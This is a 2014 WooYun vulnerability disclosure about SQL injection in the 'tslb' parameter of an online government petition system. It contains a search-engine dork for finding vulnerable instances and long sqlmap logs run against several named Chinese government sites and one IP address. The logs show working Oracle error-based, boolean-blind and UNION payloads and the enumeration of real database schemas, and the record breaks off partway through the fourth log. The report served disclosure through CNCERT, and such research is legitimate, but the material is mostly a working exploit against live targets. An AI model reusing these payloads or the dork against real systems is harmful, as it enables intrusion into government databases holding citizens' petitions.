当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072179

漏洞标题:某网上信访系统一处sql注入

相关厂商:某网上信访系统

漏洞作者: Mosuan

提交时间:2014-08-13 11:51

修复时间:2014-11-11 11:52

公开时间:2014-11-11 11:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-21: 细节向第三方安全合作伙伴开放
2014-10-12: 细节向核心白帽子及相关领域专家公开
2014-10-22: 细节向普通白帽子公开
2014-11-01: 细节向实习白帽子公开
2014-11-11: 细节向公众公开

简要描述:

rt

详细说明:

关键词

inurl:/appellate/appellate.do inurl:tslb=


注入参数tslb
举几个例子

注入地址:http://www.hz12345.gov.cn/appellate/appellate.do?act=query&page=10&tslb
=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:28:43
[06:28:44] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.hz12345.gov.cn\session' as session file
[06:28:44] [INFO] resuming back-end DBMS 'oracle' from session file
[06:28:44] [INFO] testing connection to the target url
[06:28:45] [INFO] testing if the url is stable, wait a few seconds
[06:28:46] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[06:28:48] [INFO] testing if GET parameter 'act' is dynamic
[06:28:48] [INFO] confirming that GET parameter 'act' is dynamic
[06:28:49] [INFO] GET parameter 'act' is dynamic
[06:28:49] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[06:28:49] [INFO] testing sql injection on GET parameter 'act'
[06:28:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:28:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:28:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:28:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:28:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:28:56] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:28:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:28:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:29:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:29:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:29:23] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:29:23] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[06:29:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:29:26] [INFO] testing 'Oracle AND time-based blind'
[06:29:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:30:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:30:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:30:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:30:58] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:31:04] [WARNING] GET parameter 'act' is not injectable
[06:31:04] [INFO] testing if GET parameter 'page' is dynamic
[06:31:05] [WARNING] GET parameter 'page' appears to be not dynamic
[06:31:06] [WARNING] heuristic test shows that GET parameter 'page' might not be
injectable
[06:31:06] [INFO] testing sql injection on GET parameter 'page'
[06:31:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:31:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:31:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:31:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:31:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:31:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:32:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:32:06] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:32:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:32:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:32:19] [INFO] testing 'Oracle AND time-based blind'
[06:32:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:33:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:34:08] [INFO] target url appears to be UNION injectable with 9 columns
[06:34:23] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[06:34:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:34:45] [INFO] target url appears to be UNION injectable with 7 columns
[06:35:16] [INFO] target url appears to be UNION injectable with 8 columns
[06:35:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:36:17] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:36:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:37:04] [WARNING] GET parameter 'page' is not injectable
[06:37:04] [INFO] testing if GET parameter 'tslb' is dynamic
[06:37:05] [WARNING] GET parameter 'tslb' appears to be not dynamic
[06:37:06] [INFO] heuristic test shows that GET parameter 'tslb' might be inject
able (possible DBMS: Oracle)
[06:37:06] [INFO] testing sql injection on GET parameter 'tslb'
[06:37:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:37:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:37:18] [INFO] GET parameter 'tslb' is 'Oracle AND error-based - WHERE or HAV
ING clause (XMLType)' injectable
[06:37:18] [INFO] testing 'Oracle AND time-based blind'
[06:37:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:37:25] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[06:37:27] [INFO] target url appears to have 7 columns in query
[06:37:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:37:53] [INFO] GET parameter 'tslb' is 'Generic UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'tslb' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 385 HTTP(s) req
uests:
---
Place: GET
Parameter: tslb
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: act=query&page=10&tslb=1' AND 5278=(SELECT UPPER(XMLType(CHR(60)||C
HR(58)||CHR(100)||CHR(115)||CHR(114)||CHR(58)||(SELECT (CASE WHEN (5278=5278) TH
EN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(100)||CHR(107)||CHR(106)||CHR(58)||CHR
(62))) FROM DUAL) AND 'FuLW'='FuLW
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: act=query&page=10&tslb=1' UNION ALL SELECT NULL, NULL, NULL, CHR(58
)||CHR(100)||CHR(115)||CHR(114)||CHR(58)||CHR(69)||CHR(70)||CHR(81)||CHR(77)||CH
R(106)||CHR(122)||CHR(79)||CHR(101)||CHR(102)||CHR(73)||CHR(58)||CHR(100)||CHR(1
07)||CHR(106)||CHR(58), NULL, NULL, NULL FROM DUAL-- AND 'ZJvB'='ZJvB
---
[06:38:36] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[06:38:36] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[06:38:36] [INFO] fetching database (schema) names
available databases [10]:
[*] CTXSYS
[*] HR
[*] HZ12345_WEB
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[06:38:36] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.hz12345.gov.cn'
[*] shutting down at 06:38:36


注入地址:http://www.haining.gov.cn/hnweb/appellate/appellate.do?act=query&tslb=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:29:04
[06:29:05] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.haining.gov.cn\session' as session file
[06:29:05] [INFO] testing connection to the target url
[06:29:06] [INFO] heuristics detected web page charset 'GB2312'
[06:29:06] [INFO] testing if the url is stable, wait a few seconds
[06:29:08] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[06:29:28] [INFO] testing if GET parameter 'act' is dynamic
[06:29:29] [INFO] confirming that GET parameter 'act' is dynamic
[06:29:29] [INFO] GET parameter 'act' is dynamic
[06:29:29] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[06:29:29] [INFO] testing sql injection on GET parameter 'act'
[06:29:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:29:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:29:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:29:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:29:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:29:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:30:01] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:30:01] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[06:30:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:30:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:30:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:30:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:30:30] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:30:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:30:33] [INFO] testing 'Oracle AND time-based blind'
[06:30:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:30:58] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:31:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:31:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:31:35] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[06:32:02] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:32:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:32:37] [WARNING] GET parameter 'act' is not injectable
[06:32:37] [INFO] testing if GET parameter 'tslb' is dynamic
[06:32:37] [INFO] confirming that GET parameter 'tslb' is dynamic
[06:32:38] [INFO] GET parameter 'tslb' is dynamic
[06:32:38] [INFO] heuristic test shows that GET parameter 'tslb' might be inject
able (possible DBMS: Oracle)
[06:32:38] [INFO] testing sql injection on GET parameter 'tslb'
[06:32:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:33:01] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:33:06] [INFO] GET parameter 'tslb' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
[06:33:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:33:06] [INFO] GET parameter 'tslb' is 'Oracle AND error-based - WHERE or HAV
ING clause (XMLType)' injectable
[06:33:06] [INFO] testing 'Oracle AND time-based blind'
[06:33:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'tslb' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 167 HTTP(s) req
uests:
---
Place: GET
Parameter: tslb
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: act=query&tslb=1' AND 8908=8908 AND 'XPGP'='XPGP
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: act=query&tslb=1' AND 2471=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||
CHR(109)||CHR(121)||CHR(105)||CHR(58)||(SELECT (CASE WHEN (2471=2471) THEN 1 ELS
E 0 END) FROM DUAL)||CHR(58)||CHR(98)||CHR(103)||CHR(117)||CHR(58)||CHR(62))) FR
OM DUAL) AND 'aqve'='aqve
---
[06:33:55] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[06:33:55] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[06:33:55] [INFO] fetching database (schema) names
[06:33:56] [INFO] the SQL query used returns 26 entries
[06:33:58] [INFO] retrieved: CTXSYS
[06:33:58] [INFO] retrieved: HN12345
[06:33:59] [INFO] retrieved: HN12345OLD
[06:34:00] [INFO] retrieved: HR
[06:34:00] [INFO] retrieved: MDSYS
[06:34:01] [INFO] retrieved: ODM
[06:34:01] [INFO] retrieved: ODM_MTR
[06:34:02] [INFO] retrieved: OE
[06:34:02] [INFO] retrieved: OLAPSYS
[06:34:03] [INFO] retrieved: ORDSYS
[06:34:03] [INFO] retrieved: OUTLN
[06:34:04] [INFO] retrieved: PM
[06:34:04] [INFO] retrieved: QS
[06:34:05] [INFO] retrieved: QS_CBADM
[06:34:06] [INFO] retrieved: QS_CS
[06:34:08] [INFO] retrieved: QS_ES
[06:34:09] [INFO] retrieved: QS_OS
[06:34:09] [INFO] retrieved: QS_WS
[06:34:10] [INFO] retrieved: RMAN
[06:34:10] [INFO] retrieved: SCOTT
[06:34:11] [INFO] retrieved: SH
[06:34:11] [INFO] retrieved: SYS
[06:34:12] [INFO] retrieved: SYSTEM
[06:34:12] [INFO] retrieved: WKSYS
[06:34:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:34:35] [INFO] retrieved: WMSYS
[06:34:35] [INFO] retrieved: XDB
available databases [26]:
[*] CTXSYS
[*] HN12345
[*] HN12345OLD
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[06:34:36] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.haining.gov.cn'
[*] shutting down at 06:34:36


注入地址:http://218.108.102.212:1234/appellate/appellate.do;jsessionid=5A727F9CA
3E281AD02693BE77E8C0B1B?act=query&tslb=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:39:32
[06:39:32] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\218.108.102.212\session' as session file
[06:39:32] [INFO] testing connection to the target url
[06:39:33] [INFO] testing if the url is stable, wait a few seconds
[06:39:35] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[06:39:36] [INFO] testing if GET parameter 'act' is dynamic
[06:39:37] [INFO] confirming that GET parameter 'act' is dynamic
[06:39:38] [INFO] GET parameter 'act' is dynamic
[06:39:38] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[06:39:38] [INFO] testing sql injection on GET parameter 'act'
[06:39:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:39:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:39:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:39:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:39:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:39:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:40:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:40:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:40:13] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:40:36] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:40:36] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[06:40:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:40:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:40:43] [INFO] testing 'Oracle AND time-based blind'
[06:40:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:41:20] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:41:51] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:41:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:41:54] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[06:42:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:42:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:43:10] [WARNING] GET parameter 'act' is not injectable
[06:43:10] [INFO] testing if GET parameter 'tslb' is dynamic
[06:43:11] [WARNING] GET parameter 'tslb' appears to be not dynamic
[06:43:12] [WARNING] heuristic test shows that GET parameter 'tslb' might not be
injectable
[06:43:12] [INFO] testing sql injection on GET parameter 'tslb'
[06:43:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:43:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:43:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:43:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:43:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:43:48] [INFO] GET parameter 'tslb' is 'Oracle AND error-based - WHERE or HAV
ING clause (XMLType)' injectable
[06:43:48] [INFO] testing 'Oracle AND time-based blind'
[06:43:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:43:57] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[06:44:00] [INFO] target url appears to have 8 columns in query
[06:44:27] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'tslb' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 194 HTTP(s) req
uests:
---
Place: GET
Parameter: tslb
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: act=query&tslb=1' AND 8721=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||
CHR(102)||CHR(104)||CHR(118)||CHR(58)||(SELECT (CASE WHEN (8721=8721) THEN 1 ELS
E 0 END) FROM DUAL)||CHR(58)||CHR(102)||CHR(103)||CHR(101)||CHR(58)||CHR(62))) F
ROM DUAL) AND 'VlAn'='VlAn
---
[06:44:29] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[06:44:29] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[06:44:29] [INFO] fetching database (schema) names
[06:44:30] [INFO] the SQL query used returns 25 entries
[06:44:32] [INFO] retrieved: CTXSYS
[06:44:32] [INFO] retrieved: FYWSXF
[06:44:33] [INFO] retrieved: HR
[06:44:34] [INFO] retrieved: MDSYS
[06:44:40] [INFO] retrieved: ODM
[06:44:42] [INFO] retrieved: ODM_MTR
[06:45:03] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:45:05] [INFO] retrieved: OE
[06:45:06] [INFO] retrieved: OLAPSYS
[06:45:07] [INFO] retrieved: ORDSYS
[06:45:28] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:45:30] [INFO] retrieved: OUTLN
[06:45:30] [INFO] retrieved: PM
[06:45:36] [INFO] retrieved: QS
[06:45:37] [INFO] retrieved: QS_CBADM
[06:45:38] [INFO] retrieved: QS_CS
[06:45:39] [INFO] retrieved: QS_ES
[06:45:40] [INFO] retrieved: QS_OS
[06:45:41] [INFO] retrieved: QS_WS
[06:45:42] [INFO] retrieved: RMAN
[06:46:03] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:46:05] [INFO] retrieved: SCOTT
[06:46:06] [INFO] retrieved: SH
[06:46:07] [INFO] retrieved: SYS
[06:46:08] [INFO] retrieved: SYSTEM
[06:46:09] [INFO] retrieved: WKSYS
[06:46:10] [INFO] retrieved: WMSYS
[06:46:11] [INFO] retrieved: XDB
available databases [25]:
[*] CTXSYS
[*] FYWSXF
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[06:46:11] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\218.108.102.212'
[*] shutting down at 06:46:11


注入地址:http://tx12345.tx.gov.cn/txwsxf/appellate/appellate.do;jsessionid=B16A7
84E3640935EC20CAC87F5E0CB22?act=querywsxf&tslb=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:39:55
[06:39:55] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\tx12345.tx.gov.cn\session' as session file
[06:39:56] [INFO] testing connection to the target url
[06:39:57] [INFO] testing if the url is stable, wait a few seconds
[06:40:00] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[06:40:01] [INFO] testing if GET parameter 'act' is dynamic
[06:40:01] [INFO] confirming that GET parameter 'act' is dynamic
[06:40:01] [INFO] GET parameter 'act' is dynamic
[06:40:02] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[06:40:02] [INFO] testing sql injection on GET parameter 'act'
[06:40:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:40:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:40:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:40:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:40:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:40:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:40:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:40:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:40:18] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:40:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:40:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:40:22] [INFO] testing 'Oracle AND time-based blind'
[06:40:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:40:52] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:41:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:41:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:41:20] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[06:41:50] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:42:15] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:42:37] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:42:39] [WARNING] GET parameter 'act' is not injectable
[06:42:39] [INFO] testing if GET parameter 'tslb' is dynamic
[06:42:43] [WARNING] GET parameter 'tslb' appears to be not dynamic
[06:42:43] [INFO] heuristic test shows that GET parameter 'tslb' might be inject
able (possible DBMS: Oracle)
[06:42:43] [INFO] testing sql injection on GET parameter 'tslb'
[06:42:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:43:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:43:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:43:31] [INFO] GET parameter 'tslb' is 'Oracle AND error-based - WHERE or HAV
ING clause (XMLType)' injectable
[06:43:31] [INFO] testing 'Oracle AND time-based blind'
[06:43:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:43:44] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[06:43:48] [INFO] target url appears to have 8 columns in query
[06:43:58] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'tslb' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 180 HTTP(s) req
uests:
---
Place: GET
Parameter: tslb
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: act=querywsxf&tslb=1' AND 9732=(SELECT UPPER(XMLType(CHR(60)||CHR(5
8)||CHR(121)||CHR(121)||CHR(111)||CHR(58)||(SELECT (CASE WHEN (9732=9732) THEN 1
ELSE 0 END) FROM DUAL)||CHR(58)||CHR(114)||CHR(107)||CHR(115)||CHR(58)||CHR(62)
)) FROM DUAL) AND 'kdnd'='kdnd
---
[06:44:00] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[06:44:00] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[06:44:00] [INFO] fetching database (schema) names
[06:44:00] [INFO] the SQL query used returns 26 entries
[06:44:01] [INFO] retrieved: CTXSYS
[06:44:01] [INFO] retrieved: HR
[06:44:02] [INFO] retrieved: MDSYS
[06:44:03] [INFO] retrieved: ODM
[06:44:03] [INFO] retrieved: ODM_MTR
[06:44:04] [INFO] retrieved: OE
[06:44:04] [INFO] retrieved: OLAPSYS
[06:44:05] [INFO] retrieved: ORDSYS
[06:44:05] [INFO] retrieved: OUTLN
[06:44:06] [INFO] retrieved: PM
[06:44:07] [INFO] retrieved: QS
[06:44:07] [INFO] retrieved: QS_CBADM
[06:44:08] [INFO] retrieved: QS_CS
[06:44:08] [INFO] retrieved: QS_ES
[06:44:09] [INFO] retrieved: QS_OS
[06:44:10] [INFO] retrieved: QS_WS
[06:44:10] [INFO] retrieved: RMAN
